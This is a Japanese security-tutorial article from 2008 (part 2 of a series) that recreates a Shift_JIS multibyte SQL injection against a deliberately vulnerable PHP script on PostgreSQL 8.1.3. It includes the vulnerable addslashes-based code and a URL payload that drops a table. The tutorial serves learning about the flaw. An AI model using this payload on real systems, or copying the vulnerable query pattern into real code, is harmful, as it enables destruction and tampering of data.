【セキュリティ最前線】
セキュリティホールをついて遊ぶ
第2回:PHPのSQLインジェクションを実体験
著者:大垣 靖男
公開日:2008/1/18(金)
PHPでSQLインジェクションを実体験
本記事では、セキュリティに対する課題を実体験していく。第2回となる今回は、いよいよ実際にテスト環境を構築し、攻撃を行う。標的となるのはWebシステムの開発で幅広く利用されている「PHP」だ。
PHP本体にはWebブラウザからの入力のデコード処理をはじめとして、Webシステム開発に必要不可欠な機能が組み込まれている。2008年1月3日に最後のPHP 4.x系のリリースとなる「PHP 4.4.8」がリリースされ、これ以降PHP 4.x系の開発は行われなくなった。現在はPHP 5.x系のPHP 5.2.5のみがPHPプロジェクトにより正式にサポートされている状態だ。
データベースサーバへのアクセスもWebシステム開発には必要不可欠な機能の1つとなる。PHPはPostgreSQLやMySQL、SQLite、SQL Server、Oracleなどのデータベースサーバへアクセス可能だ。
Webアプリケーションの中で特にデータベースへのアクセスが脆弱になりやすい部分といわれている。データベースへのクエリ生成に問題がある場合、不正な文字列が挿入され、不正なSQLが実行されるとデータの漏洩や改竄が可能になる。このように不正なSQL文を挿入する攻撃は「SQLインジェクション」と呼ばれている。
SQLインジェクションテスト環境の準備
今回は文字エンコーディングを利用したSQLインジェクションを、実際に体験する。このため、データベースにマルチバイト文字の取り扱いが強化される前のPostgreSQL 8.1.3と脆弱性修正後の8.2.6を利用する。PHPは、PHP 5.x系のソース配付版をLinux上でコンパイルしたPHP 5.2.5を使用する。なお、PHPやPostgreSQLのインストール方法は各ソフトウェアのマニュアルなどを参照してほしい。
リスト1:データベースを作成
$ createdb -E SQL_ASCII injection_test
リスト2:テーブルの作成
injection_test=# create table table1 (field1 text, field2 text);
injection_test=# create table table2 (field1 text, field2 text);
リスト3:テーブル作成の確認
injection_test=# \d
List of relations
Schema | Name | Type | Owner
--------+--------+-------+---------
public | table1 | table | yohgaki
public | table2 | table | yohgaki
(2 rows)
リスト4:sql.php
<html>
<head><title>Injection Test</title></head>
<body>
<pre>
<?php
ini_set('display_errors', 1); // エラーを表示
// localhostからのアクセスはtrust modeであることを想定したコードです。
// 環境に合わせて接続文字列を変更してください。
$db = pg_connect('user=yohgaki dbname=injection_test') or die('Connection error');
// クライアント文字エンコーディングをSJISに変更
pg_query($db, "SET client_encoding TO 'SJIS';");
if (!empty($_GET['q1']) && !empty($_GET['q2'])) {
// クエリを実行
$q1 = addslashes($_GET['q1']); // エスケープ
$q2 = addslashes($_GET['q2']); // エスケープ
$sql = "SELECT * FROM table1 WHERE field1 LIKE '".$q1."' or field2 LIKE '".$q2."';";
$res = pg_query($db, $sql); // クエリを実行
echo $sql.PHP_EOL.PHP_EOL; // 実行したクエリを出力
print_r(pg_fetch_all($res)); // クエリ結果をダンプ
} else {
echo 'クエリ文字列が設定されていません';
}
?>
</pre>
</body>
</html>
リスト5:table2が削除された
yohgaki@[local] injection_test=# \d
List of relations
Schema | Name | Type | Owner
--------+--------+-------+---------
public | table1 | table | yohgaki
(1 row)
リスト6:SQLクエリの実行結果
SELECT * FROM table1 WHERE field1 LIKE '・ or field2 LIKE ';DROP TABLE table2;--';
まずcreatedbコマンドでPostgreSQL 8.1.3のデータベースを作成する(リスト1)。続いてpsqlコマンドで作成したデータベースに接続し、テスト用のテーブルを作成する(リスト2)。さらにpsqlで「\d」コマンドを使用し、2つのテーブルが作成できたことを確認する(リスト3)。
テーブル作成が終了したら、SQLインジェクションに脆弱なPHPスクリプトをWebサーバの適当な場所に配置する。今回は「http://localhost/sql.php」としてアクセスできる場所に配置している。スクリプト内容はリスト4の通りだ。
sql.phpはtable1からレコードを抽出するだけの参照クエリを実行する。しかし実際にはデータベース設定とPHPスクリプトに問題があるため、SQLインジェクションが可能になる。
まずはじめに「http://localhost/sql.php?q1=abc&q2=xyz」を実行した場合、table1は空のため期待通り何も表示されない。しかし「http://localhost/sql.php?q1=%95&q2=;DROP%20TABLE%20table2;--」のリクエストを送信すると、削除できてはならないはずのtable2が削除されてしまう。
このリクエストを送信後にpsqlでテーブルを一覧するとtable2が削除された事を確認できる(リスト5)。また、Webブラウザにはリスト6のSQLクエリが実行されたと表示される。本来は2つのLIKE句があるはずだが1つのLIKE句として認識され、「DROP TABLE table2」が実行されてしまうのである。 次のページ